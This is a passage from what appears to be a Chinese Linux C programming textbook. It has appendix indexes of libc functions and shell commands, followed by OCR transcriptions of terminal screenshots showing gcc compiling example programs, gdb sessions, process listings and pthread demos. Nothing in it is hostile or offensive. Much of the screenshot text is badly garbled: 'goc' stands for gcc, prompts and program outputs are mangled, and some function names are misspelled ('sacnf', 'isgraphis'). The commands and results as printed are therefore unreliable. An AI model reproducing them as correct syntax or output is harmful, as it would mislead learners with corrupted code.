
chown()：改变文件的所有者

link()：建立文件链接

remove()：删除文件

rename()：更改文件名称或位置

readlink()：取得符号链接所指的文件

symlink()：建立文件符号链接

truncate()：改变文件大小

unlink()：删除文件

utime()：修改文件的存取时间和更改时间

utimes()：修改文件的存取时间和更改时间

stat()：取得文件状态

10.信号处理函数

alarm()：设置信号传送闹钟

kill()：传送信号给指定的进程

pause()：让进程暂停直到信号出现

sigaction()：查询或设置信号处理方式

sigaddset()：增加一个信号至信号集

sigdelset()：从信号集里删除一个信号

sigemptyset()：初始化信号集

sigfillset()：将所有信号加入至信号集

sigismember()：测试某个信号是否已加入至信号集里

signal()：设置信号处理方式

sigpending()：查询被搁置的信号

sigprocmask()：查询或设置信号遮罩

11.用户组函数

endgrent()：关闭组文件

endpwent()：关闭密码文件

endutent()：关闭utmp文件

fgetgrent()：从指定的文件来读取组格式

fgetpwent()：从指定的文件来读取密码格式

getegid()：取得有效的组识别码

geteuid()：取得有效的用户识别码

getgid()：取得真实的组识别码

getgrent()：从组文件中取得账号的数据

getgrgid()：从组文件中取得指定gid的数据

getgrnam()：从组文件中取得指定组的数据

getgroups()：取得组代码

getpw()：取得指定用户的密码文件数据

getpwent()：从密码文件中取得账号的数据

getpwnam()：从密码文件中取得指定账号的数据

getpwuid()：从密码文件中取得指定uid的数据

getuid()：取得真实的用户识别码

getutent()：从utmp文件中取得账号登录数据

getutid()：从utmp文件中查找特定的记录

getutline()：从utmp文件中查找特定的记录

initgroups()：初始化组清单

pututline()：将utmp记录写入文件

seteuid()：设置有效的用户识别码

setfsgid()：设置文件系统的组识别码

setfsuid()：设置文件系统的用户识别码

setgid()：设置真实的组识别码

setgrent()：从头读取组文件中的组数据

setgroups()：设置组代码

setpwent()：从头读取密码文件中的账号数据

setregid()：设置真实及有效的组识别码

setreuid()：设置真实及有效的用户识别码

setuid()：设置真实的用户识别码

setutent()：从头读取utmp文件中的登录数据

utmpname()：设置utmp文件路径

12.终端控制函数

getopt()：分析命令行参数

isatty()：判断文件描述词是否是为终端机

select()：I/O多工机制

ttyname()：返回一个终端机名称

13.字符测试函数

isalnum()：测试字符是否为英文或数字

isalpha()：测试字符是否为英文字母

isascii()：测试字符是否为ASCⅡ码字符

iscntrl()：测试字符是否为ASCⅡ码的控制字符

isdigit()：测试字符是否为阿拉伯数字

isgraphis()：测试字符是否为可打印字符

islower()：测试字符是否为小写字母

isprint()：测试字符是否为可打印字符

isspace()：测试字符是否为空格字符

ispunct()：测试字符是否为标点符号或特殊符号

isupper()：测试字符是否为大写英文字母

isxdigit()：测试字符是否为16进制数字

14.字符串转换函数

atof()：将字符串转换成浮点型数

atoi()：将字符串转换成整型数

atol()：将字符串转换成长整型数

gcvt()：将浮点型数转换为字符串，取四舍五入

strtod()：将字符串转换成浮点数

strtol()：将字符串转换成长整型数

strtoul()：将字符串转换成无符号长整型数

toascii()：将整型数转换成合法的ASCⅡ码字符

tolower()：将大写字母转换成小写字母

toupper()：将小写字母转换成大写字母

15.格式化输入/输出函数

printf()：格式化输出字符串

sacnf()：格式化输入字符串

sprintf()：格式化字符串输出

sscanf()：格式化字符串输入

putchar()：输出字符到标准输出

getchar()：从标准输入获取字符

putc()：向文件输出字符

getc()：从文件输入字符

gets()：获得字符串

puts()：输出指定字符串

16.目录操作函数

alphasort()：依字母顺序排序目录结构

chdir()：改变当前的工作目录

chroot()：改变根目录

closedir()：关闭目录

fchdir()：改变当前的工作目录

getcwd()：取得当前的工作目录

lstat()：由文件描述词取得文件状态

opendir()：打开目录

readdir()：读取目录

rewinddir()：重设读取目录的位置为开头位置

seekdir()：设置下回读取目录的位置

telldir()：取得目录流的读取位置


附录B　Linux Shell常用命令索引

·更改账号密码：passwd命令

·联机帮助：man命令

·远程登录：rlogin命令

·列出文件或目录下的文件名：ls命令

·改变工作目录：cd命令

·复制文件：cp命令

·移动或更改文件、目录名称：mv命令

·建立新目录：mkdir命令

·删除目录：rmdir命令

·删除文件：rm命令

·列出当前所在的目录位置：pwd命令

·查看文件内容：cat命令

·分页查看文件内容：more命令

·查看目录所占磁盘容量：du命令

·复制文件或目录：rcp命令

·文件权限的设定：chmod命令

·检查自己所属的工作组名称：groups命令

·改变文件或目录工作组所有权：chgrp命令

·改变文件或目录的最后修改时间：touch命令

·文件的链接：ln命令

·文件中字符串的查寻：grep命令

·比较文件或目录的内容：diff命令

·troff文件的打印：ptroff命令

·查看系统中的进程：ps命令

·结束或终止进程：kill命令

·在后台执行进程的方式：＆命令

·查看正在后台中执行的进程：jobs命令

·查看命令记录表的内容：history命令

·文件的压缩：compress命令

·查看系统中的用户：who命令

·查看当前系统上所有工作站的用户：rusers命令

·检查网络是否连通：ping命令

·创建新的用户账户：adduser命令

·设置命令的别名：alias命令

·bz2的文件压缩程序：bzips命令

·月历显示：cal命令

·将所有内容输出到标准输出设备：cat命令

·更改finger命令显示的信息：chfn命令

·变更文件与目录的所属组：chgrp命令

·更换文件或目录的拥有者或所在组：chown命令

·清除画面上的信息：clear命令

·滤除控制字符：col命令

·设置定时器：crontab命令

·设置显示系统时间及日期：date命令

·由键盘输入文件中的数据，然后依照指定格式来转换数据，再输出至所指定的文件或屏幕上：dd命令

·显示磁盘文件系统的使用状况：df命令

·显示开机信息：dmesg命令

·检查ext2文件系统：e2fsck命令

·文字显示：echo命令

·编辑quota：edquota命令

·查找文件中符合条件的字符串：egrep命令

·shell执行命令后即交出控制权：exec命令

·设置显示环境变量：export命令

·磁盘分割（分区）：fdisk命令

·前台执行程序或命令：fg命令

·查找文件中符合条件的字符串：fgrep命令

·识别文件类型：file命令

·查找文件或目录：find命令

·查看内存状态：free命令

·检查文件系统并试着修复错误：fsck命令

·创建组：groupadd命令

·删除组：groupdel命令

·改变组识别码或名称：groupmod命令

·文件解压缩：gunzip命令

·查询及设置主机名称：hostname命令

·显示用户ID及所属的组ID：id命令

·加载模块：insmod命令

·列出目前与过去登录系统的用户相关信息：last命令

·安装内核加载、开机管理程序：lilo命令

·设置Linux系统：linuxconf命令

·寻找文件：locate命令

·登录系统：login命令

·注销系统：logout命令
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[rootelocalhost ~]# goc -0 exampleé-6 exampleé—
[rootelocalhost ~1# . /examples—6
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[rootelocalhost ~1# goc -0 exampleé-5 example6-5.c
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[root@localhost ~1# goc -0 examplel5-6 examplelS-6.c
[root@localhost ~1# ./examplel§-6

Usage: test dirname
[root@localhost ~1# I

|| shen
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[rootelocalhost ~]# goc -o exampleé-1 exampleé-1.c
[root@localhost ~1# ./examples-1
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| i shen
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(root@localhost ~1# gcc -0 exampleé-2 exampleé-2.c
[root@localhost ~]# . /exampleé-2
|a=56565,164403,d903, 66565

[b=-5, 37777777773, fFfffffb, 4294967291
(rootelocalhost ~1# [

@ ) shell
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(root@localhost ~]# goc —o exampleié-1 examplels-i.c
(root@localhost ~1# ./examplels-1

The process 1D is 30061

The parent process ID is 29508
The process priority is:0
(root@localhost ~1#

[ A| (@] shen
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[root@localhost ~1# goc -0 exampleé-4 example6-4.c
[root@localhost ~1# . /exampleé-4
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[root@localhost ~1# [|

@ ] Shell

[ [
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(root@localhost ~1# goc -0 example?-1 example?-1.c
(root@localhost ~]# ./example?-1

please input three numbers:
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max=23

[rootBlocalhost ~1# [
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[root@localhost ~1# gcc -o example?-2 example?-2.c I
(rootelocalhost ~1# . jexampler-2

[Please input grade:6s

erade=66:0

[rootelocathost ~1# . jexample7-2

[Please input grade:ss

erade=05:8

[rootelocalhost ~1# . fexample7-2

[Please input grade: 43
lerade=40: €
(rootelocatnost ~14 Il






OEBPS/Image00200.jpg
G root@Ilocalhost~ - Shell - Konsole

SF @E BEF BE BE MW

[root@localhost ~1# goc -o examplel6-5 examplel6-5.c
[root@localhost ~1# . fexamplel6-5

The child process IO is:12497

Child process has exited,pid = 12497

Child exited with code 0

[root@localhost ~1# [|

| o shen
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[root@localhost ~1# goc -0 examplel6-2 examplei6-2.c
[rootelocalnost ~1# . fexampleis-z
This is the child process, the process ID is 32761

This is the parent process, the process ID is 32353
[raotelocalhost ~1# |

e | i shen
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[root@localhost ~1# gcc -2 -0 test exampleié-3.c test.c
[root@localhost ~I# ./test

[root@localhost ~1# ps -ef

uo PID PPID C STIME TTY [=2]

root 1 0 0 13:19 7 init [5]

root 2 10 13:149 7 [ksoftirgd/o]
root 3 1 013:19 7 levents/0]

root 4 g 0 ERG [khelper]

root 5 30013:19 7 [kacpid]

root 22 3013149 7 [kblockd/0]
root 32 3 0 13:19 7 [pdflush]

root 33 3 013:19 7 [pdflush]

root 35 3 0 13:19 7 [aio/0]

root 23 0N (3019 7 [khubd]

root 34 100 13:49 7 [kswapdo]

root 623 10 13:119 7 [kseriod]

root 701 10 13:49 7 [kjournaldl
root 1788 1013149 7 syslogd -m 0
root 1792 1013149 7 klogd -x

root 2143 1013119 7 Jusr/sbin/acpid
root 2174 1 013:49 7 . fhpiod

root 2180 10 43:20 7 python . /hpssd.py
root 2217 10 13:20 7 cupsd

root 2535 1 013:20 7 Jusribin/rfusery
éj ] shell
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[root@localhost ~1# goc -0 examplel6-4 examplei6-4.c
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[rootelocalnost ~1# geo —o exampled-3 examples—3.c =]
(rootelocalnast ~1# . /examples-3 |
ta1-37.500000 B
[root@localhost ~1# | k2

| shen o
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(root@localhost ~1# goc -0 examplelS5-4 exarplelS-4.c -
(root@localhost ~I# . /examplei5-4 [

The length of this file is 108 F% (=]
(rootelocalnost ~1# &)
|7/ | 8 shen | =
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[root@localhost ~1# goc -0 example5-2 exarpleS-2.c
[root@localhost ~1# ./examples-2

la is 6655666504
[o is 6666666666, 666667
[root@localhost ~1# |

EJ ] Shell
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[root@localhost ~I# 1s -1

2HE 212
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drux: - root root 4096
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[

[rootelocalhost ~1# goc -0 exampleiS-3 examplel5-3.c

[root@localhost ~J# . /example15-3

oFfaet=10
[roatelocathost ~14 [l

| [

@] | shell
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[root@localhost ~]# goc -o exampleé-1 exampleb-1.c
[rootelocalnost ~1# . /examples-1

HELLO

[root@localhost ~1% [

a)pr Bl
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(root@localhost ~1# 1a -1 Jetc/inittab
-rw-r--r-- 1 root root 1699 4F 16 2009 /etc/inittab

[root@localhost ~]# goc -o exsmplei5-5 examplels-5.c
(root@localhost ~]W . [example15-5 /etc/inittab
The file attribute is fetc/inittab

[y
[rootelocathost ~1u I

| i shel
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[root@localhost ~1#
[SAE 128
faruxr-xr-x root.
Jarusr-xr-x root.
root
root.
root.
root

1s -1a fdev/video

root 40%6 48 16 2009

root 122880 11§ 11 14:53

root 10, 204 8H 5 2006en8300
root 10, 206 85 5 2005 em3300 ma

root 10, 205 8§ 5 2005em3300 mv
root 10, 207 8A 5 2006em&300_sp
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[root@localost ~1# goc -0 exanplels-2 exampleis-2.c

[rootelocalhost ~1# . /example1s-2
the sum of letter is: 72

. the sum of number is: 2
(rootalccatnost ~1v Il

[55]] msven |
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[rootélocalhost ~1# cat a. txt
Thank you, Goad bye. Uho are you? What is your name?

I am fine.
luhat about your

(rooterccatnost ~1n
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s @ shen
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[root@localhost ~1# gcc -o examplel5-1 examplels-1.c
[rootelocalhost ~1# . /exanpleis—i

[Open file successfull
[rootelocalnost ~1# I

)] i shen
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[root@localhost ~1% ./exampled-2
lplease input string:123wej

[The copy string is:123wej
[root@localhost ~1# [

@ ] Shell
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(root@localhost ~1# goo -0 exampleli-9 examplell-9.c
[root@localhost ~1# . /examplel1-9

8901 Wangli M 5 09

0812 Lilei F 5 08

2001 ZhangSan M T professor

2003 LiMei F T professor

No. name sex job class/positian
8901 WangLi M S 9

812 Lilei F s 8
2001 ZhangSan M T professor
2003 LiMei F T professor

[root@localhost ~J4

@ ] shell
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[root@localhost ~1# goc -0 exampleli-8 exampleli-8.c
[root@localhost ~I# .jexample11-8

189.0

2 78.0

3920

4 69.0

[root@localhost ~1# I

) shell
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[root@localhost ~1# gcc -wall exampled-3.c -o exampled-3

gcc: unrecognized option ‘-wall’
lexampled-3.c:1:9: #include expects "FILENAME" or (FILENAME>

lexampled-3.c: In function ‘main’:
lexampled-3.c:14: warning: ‘return’ with a value, in function returning void

lexample4-3.c:3: warning: return type of ‘main’ is not ‘int’
[root@localhost ~1# |

EJ ] shell

[

GI]
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19:

0000000000000000000000

syntax error
stray '\206’
stray ‘210’
stray ‘1195’
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[rootBlocalhost ~1# goc -ansi exampled-3.c -0 exampled-3
#include expects "FILENAME" or <FILENAME>
In function ‘main

before ‘/°

in

program
program
program
program
program
program
program
program
program
program
program
program
program
program
program
program
program
program
program
program

=

| shell
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[rootelocalhost ~1# goc —o exampleli-7 exampleli-7,c =

[root@localhost ~1# . /exampleii-7
Number Name Sex Age

1 Yuan Bo M 18
2 Xie yue hui Foo20
3 Ding Min Fooas

[root@localhost ~1# I

\E” i Shell
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[root@localhost ~1# gdb =
[BNU gdb Asianux (5.1post-1,20040607.62. 3)

Copyright 2004 Fres Softusre Foundation, Inc.

[6DB is frees software, covered by the GNU General Public License, and you are

luelcome to chanze it and/cr distribute copies of it uncer certain comditions.

Type "show copying” to see the conditions.

There is ahsolutely nn warranty for BOE. Typs "show werranty” for details.

This GDB was configured as “i386-redflag-linux-gnu"
tzan) i

|| shel

! J [0
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[rootBlocalnost ~1% goc -g exampled—4.c -0 exampled—
(root@localhost ~14 ./exampled-4

Please input r:
2

The value of 1 is:12.566370

The value of = is:12.566370
[root@localhost ~14 . fexampled-4
Please input r:

[+

-2
Sorry, the input is wrong !! =

|
[root@localhost <14 [l g

\E” ) shell






OEBPS/Image00159.jpg





OEBPS/Image00038.jpg
&% & T BE BVE #h

T @ oo

10
(gdb) 1
11
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14
15
16
17
18
19
20
(gdb) b

(gdb) b

(gdb) b

tzan) I

Breakpoint 1 at 0x50483ed:
Breakpoint 2 at 0x80483b8:

Ereakpoint 3 at 0x3048443:

float pi, r,1,s;
pi=3.1415926;
printf("Please input r:in");
scanf("%f, LF",ar);

1=2%pi*r;

*r¥pi;

printf("The value of 1 is:%fin",1);
printf("The value of s is:%fin",s);
3

else
printf("sorry,
return 0;

3

9
file exampled—4.c,
5

file example4-4.c,
17

the input is wrong!!\n"};

file exampled-4.c, line 17.

line 9.

line &.

@} ] Shell
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[Using host libthread_db library "/lib/tls/libthread_db.sa.1".
(gdb) 1

1 #include<stdio. hy

2 #include<math. h>

3 int main(void)

4 i

5 float pi, r,1,s;

& pi=3.1415926;

7 printf("Please input r:in");

8 scanf("Rf,LF,ar);

9 if (r>=0)

10 £

(gdb) 1

11 1=2#pi*r;

12 s=riripi;

13 printf("The value of 1 is:%f\n".1);
14 printf("The value of s is:%fin".s};
15 3

16 else

17 printf("Sorry, the input is wrong!!in");
18 return 0;

19 ¥

20

(zab) I

]| ) shen






OEBPS/Image00157.jpg





OEBPS/Image00040.jpg
running -- Running the program

stack -- Examining the stack

status -- Status inquiries

support -- Support facilities

tracepoints -- Tracing of program execution without stopping the program
user-defined —- User-defined commands

Type "help” followed by a class name for a list of commands in that class.
Type "help" followed by command name for full documentation.
Command name abbreviations are allowed if unambiguous.
(gdb) help list
List specified function or line.
iith no argument, lists ten more lines after or around previous listing.
“list -" lists the ten lines befors a previous ten-line listing.
One argument specifies a line, and ten lines are listed around that line.
Two arguments with comma between specify starting and ending lines to list.
Lires can be specified in these ways:
LINENUM, to 1list around that line in current file,
FILE:LINENUM, to list around that line in that file,
FUNCTION, to list around beginning of that function,
FILE:FUNCTION, to distinguish among like-named static functions.
*ADDRESS, to list around the line containing that address.

tzae) I

With two args if one is empty it stands for ten lines away from the other arg.

Shell

|8 || X
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elcome to change it and/or distribute copies of it under certain conditions.
Type "show copying” to see the conditions.

There is sbsolutely no warranty for GOB. Type "show warranty” for details.
This GDB was configured as "i386-redflag-linux-gnu”.

(gdb) help

List of classes of commands:

aliases -- Aliases of other commands

preakpoints -- Making program stop at certain points
data -- Examining data

files -- Specifying and examining files

internals -- Maintenance commands

obscure -- Obscure featu

running -- Running the program

stack Examining the stack

status -- Status inguiries

support -- Support facilities

tracepoints -- Tracing of program execution without stopping the program

user-de fined User-defined commands

Type "help” followsd by a class name for a list of commands in that class.
Type "help” followsd by command name for full documentation.

[Command name abbreviations are allowed if unambiguous. -
(zany I =
@] shell -
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[root@localnost ~1# gec -c test.c —o test

{roct@localnost ~I# gcc test.o L.
[rootelocalnost ~1# . /Lest

castt

us1cons to Lirux!

frootelocalnost ~1# Il

~lhello -o teat

’E‘ | Sheil
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[root@localhost ~]# gcc -o exampleli-1 exampleii-i.c
[root@localhost ~]# ./exampleil-1

6,10

6.10
(rootelocalhost ~1# [l
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[rootelocalnost ~1# gcc —o examples-10 examples-10.c
example9-10.c: In function ‘main’:

exarp1e9-10.0:5; warning: return type of ‘main’ is not ‘int’
[rootelocalnost ~1# . fexamples-10

hurber  expz  exp3  exps

1 1 i
2 4 8
3 9 27
4 15 &4 256
5 25 125 625
6 36 216 1296
7 43 343 2401
8 64 512 4096
? 81 729 6561
10 100 1000 10000

[root@localhost ~1# [

- shell

2
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(rootelocalhost ~1# goc -0 examplel0-1 exampleld-i.c
[rootelocalhost ~1# . /examplel0-1

Input the string:HOW ARE YOI
From the stack:

10y ERA WOH
[rootelocalhost ~1# |

(5| o shen

D

]
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[root@localhost ~1# goc -o examplell-6 examplell-6.c
lexamplei1-6.c: In function ‘main’:

lexamplei1-6.c:9; warning: return type of 'main’ is not ‘int’
[rootelocalhost ~1# . jexampleil-6

Jing

Jing

uang

uang

vuan

xie

Li

Li

Jing

Li

Yuan: 1
Uang: 2

Xie:1
Jing:3

i3
[root@localhost ~1# [

) shell
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{
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b=(*x2)(i, j); 7+ AR 2 JE
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[root@localhost ~1W goc -o exampleil-3 exampleii-3.c
[roote@localhost ~1# . fexample1i-3

[string a=How are yout

string b=How do you do!

copy string a to string b:

string youl
(root@localhost ~1# [

| o shen
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[rootelocalhost ~1# gcc —o exampleli-4 exampleii-4.c
[rootelocalnost ~1# . /exampleil-4

2 5
=2, b=6, max=6
[root@localhost ~1# I
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[rootelocalnost ~1# goo -0 sxampleil-5 exampleil-s.c
[rootalocalhost ~1# . fexampleii-5

china

Beijing

shanghai

Computer design

[root@localhost ~1# |
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[root@localhost
[root@localhost
12346678
12345678
[root@localhost

~1# gcc -0 exampleli-2 exampleli-2.c
~1#% . /exampleti-2
90246709111 4587 31 2
902457091 114587312

~1%
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(roctelocalhost ~1# sh -version

BNU bash, version 3.00.16(1)-release (i686-redflag-linux-gnu)
Copyright (C) 2004 Free Software Foundation, Inc.
(rootelacalhost ~1#

,:.';] | shell

[}

LD
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[root@localhost ~1# gec -0 example9-4 exampled-4.c
[root@localhost ~1# . /exampled-4

result=1000

m=10

[root@localhost ~1# |

>

|| 8 shen
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[root@localhost ~1# goc —o exampled-7 exampled-7.c
[root@localhost ~1# . fexamples-7
1

i
i 2 1

L 3 3 1

1 4 6 4 1

1 5 10 10 5 1

1 6 16 20 15 6 1

L 7 21 3 3% 21 7 1

L 8 28 86 70 56 28 8 1

1 9 36 84 126 126 84 36 B 1

[rootelocalnost ~14 [

|é‘ | Shell
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[rootelocalnost ~1# goc -0 examples-6 examples-6.c
[rootelocalnost ~1w . fexamples-s
[Please input matrix:

g
o :5

58 0 -
(rootelccatnost <14 -

= \ 1 shell -
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[rootelocalnost ~1% oo o exampled 3 examples-5.c
[root@localhost ~]# . /examples-9

uhere are you from?I am Chinese!
Len1=13,Len2=19,Len3=32
[root@localhost ~1# [l

(Ao ] Shell
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[root@localhost ~1# gcc —o exampleS—8 examples—8.c
[root@localhost ~1#% | /examples-8

ut
hello!How are you!
[root@localhost ~1# I

]| ) shen
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[rootBlocalhost ~1# gcc -0 exampled-1 exampled-1i.c
[rootRlocalhost ~]# . /exampled-1

ek e R

how are you!

xR TR

[rootelocalhost ~1# I

(@ shell
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[root@localhost ~1# gcc -0 exampled-3 exampled-
[root@localnost ~1# . /exanples-3
input x and n:

s o

x #n 3 A =1. 000000
[root@localhost ~1# ./exampled-3
input x and n:

s 1

[x #n k7 =5 000000
[root@localnost ~1# ./exampled-3
input x and n:

s 4

x Hn W7 =625.000000
[root@localhost ~1# [

ol

‘ | shell

{ D
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[rootelocalhost ~1# gco —o exampled-2 exampled-2.c
[rootelocalhost ~1# . /exampled-2

Inputn:

9

52828969

[root2localhest ~1# |

Shell

{1 —
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[rootelocalnost ~1h gec o exampled—7 examples—7.c
In function ‘main’

warning: return type of ‘main’
[rootelocalhost ~1# . /exampled-7

is not ‘int’
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[root@localhost ~1# gco -o exanpled—6 exampled—8.c
[root@localhost ~1# . /exampled-8
11=1

21=2

51=120
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[rootalocalhost ~1# gec -0 exampled-9

[root@localhost ~1# . fexsmples-9
r=3.500000

area=38. 484509

[root@localnost ~1# i

exampled-9.c

[pa)| ) shen






OEBPS/Image00114.jpg
&iF @iE &F 8 #E Wh

[root@localnost ~]# gec -0 example9-6 example9-6.c
[root@localhost ~1# . /exampled-6

Input 10 scores:

58 77 90 96 63 74 88 65 95 72

Aver i 78.30

[root@localhost ~1# |

(1 3 —

| shell
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[root@localhost ~1# goc -0 exampled-6 exampled—5.c
[rootelocalhost ~1# . fexampled-5

Enter array a:

136791202134

Enter array b:

2024811137519

40,6

[root@localhost ~1% [

@ ] Shell
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[rootBlocalhost ~]# gec -0 example7-8 example?-8.c

[root@localhost ~1# . jexample?-5
y=1

=3
[rootelocalhost ~1# [

(| 0 shen
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(root@localhost ~]# goc -o example?-7 example?-7.c
(root@localhost ~]# ./example?-7

[Please input a string:

1134tuiop

o =
(root@localhost ~1# |

lg] ] Shell
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int pthread_equal (pthread_t threadl, pthread_

t thread2)
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int pthread_once( pthread_once_t = once_control,
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void (% init
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[rootelocalhost ~I# goo —o exampler-3 example?—3.c
[rootelocalnost ~14 . /example7-3

tnput x:

n

k=, y=1

(rootelocalnost ~14 . /example7-3

Tnput x:

o

x=0,y=0
(rootelocalnost ~14 . /example7-3
tnput x:

-4

4,y=-1
rootelocalnost ~14 Il

[5s]] i shen
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[raot@lacalhost ~1# goc -o example?-4 example?-4.c -
[root@localhost ~1# . /example7-4

5080 4
[root@localhost ~1# I

] shell
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(root@localhost ~1# gcc -0 example?-6 example7-6.c
(root@localhost ~14 . fexample?-6

1%1=
2%1=
3#1=
4x1=
6x1=
6%1=
741=
B%1=
9%1=

1

22%2= 4

33%2= 63%3= 9

$4%0= H493=124%4=16

BE¥2=106%3=166%4=206%6=26
66%2=126%3=186%4=246%6=306%6=36
TTH2=147%3=217+4=287%6=357%6=427*7=49
80%2=16843=248+4=32845=40846=488+7=56848=64
99%2=16943=279+4=36946=459+6=549%7=639%8=729%9=51

(root@localhost ~1# I

[As]| 0 shen
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[root@localhost ~1W goc -o example7-6 example7-5.c

example7-5.c: In function ‘main’:
example7-6.c:3: warning: return type of ‘main’
(rootelocalhost -1k . /exampler-5

Please input a letter:

o

B i

Please input other letter:

¢
[root@localhost ~1% I

is not

tint’
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(root@localhost ~1# gcc -0 examplelé—6 examplelé—6.c (o
[root@localhost ~I# . fexamplelé-6
Creat successfully : 10420227

- Shared Memory Segments --

ey shmid ouner perms bytes nattch status
0x014780d4 327680 root 666 4 1

0x00000000 524289 root £00 393216 2 dest
0x02478007 262146 root 666 4 2

0x00000000 10420227  root 666 4096 o

(root@localhost ~1# I

| i shel






OEBPS/Image00102.jpg
SiF ®E HF PE ®E W

(root@localhost ~]# gcc -o example8-6 examples8-5.c
[root@localhost ~1# . fexamples-§

max=22, row=3, colum=d4

[root@localhost ~1# J|

[g @ shell
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[root@localhost ~1# goc -0 examples-4 examples—4.c
[root@localhost ~1% ./exampled-4

array a:
Iz 3
4 5 6
jarray b:
14
2 5
3.5

[root@localhost ~1# Il

| shen
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[roctelocalhost ~1# goo -0 example?-9 exampler-9.c
[root@localhost ~1# ./example7-9
100

101

103

104

106

107

109

110

112

113

115

116

118

119

[roote@localhest ~1# I

U ] shell
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3l 1 2 % unlock fi# 45,

PTHREAD_MUTEX_ERRORCHECK_NP

R

fif B T8 5

PTHREAD_MUTEX_ADAPTIVE_NP
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[root@localhost ~1# gcc -0 examplei7-3 examplel7-3.c -lpthread [«
[root@localhost ~1# . /examplel?-3 |
Main thread lock!

Main thread is runningt

Main thread is sleeping!

Main thread is sleeping!

Main thread unlock!

Thread lock!

Thread is running

Thread is sleeping!

Thread is sleeping!

Thread unlock!

[roat@localhost ~1# f|

[s| i shen
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[root@localhost ~]# gcc -o exampled-2 examples-2.c
[rootBlocalhost ~]# ./examplef-2

1 1
8 13

89 144
[root@localhost ~1# [

@} ] shell
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[rootelocalhost ~]# gcc —o examplel7-2 examplel?-2.c -lpthresd
[root@localhost ~1# ./examplei?-2

The default detachstate is 0

The thread’s detachstate is 1

aiting for thread Finished
iting for thread finished
otner thresd finisnt
[root@localhost ~1# [

(]| @ shen

I
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(root@localhost ~1# gcc -o examplesd-1 exampled-1.c
[root@localhost ~I# .
Enter 10 integers:
13588 23 45 12 0 7 12
Maximum value is 88
Minimum value is 0
[root@localhost ~1# i

| Shell
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[root@localhost ~1# goc —o examplel?-5 exampleli-5.c =
[root@localhost ~1# . /examplel7-5
The program abort!

[+
[root@localhost ~1# ]

;,éj | Shell
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(root@localhost ~]# gec -0 example8-3 exampled-3.c
[root@localhost ~1# . fexamples-3

input 10 numbers:

1370312 19 45 88 22

the sorted numbers:
013371219 22 45 88
(rootelocalhost ~1# [

| shell
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|troot@localhost ~1# goo -0 examplel?-4 examplel?-d.c

[root@localhost ~1# ./examplel?-4
[exerwpie17-4: examples?-4.ci12: main: Assertion ‘fp’ failed.

[root@localhost =14 [

‘ | shell -
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[root@localhost ~]# goc -0 examplel7-1 examplel?-1.c -lpthread
[rootBlocalhost ~1# .fexamplel?-1

main thread is 3086911168

This is a new thread 3086908336
[root@localhost ~14 [l

LR
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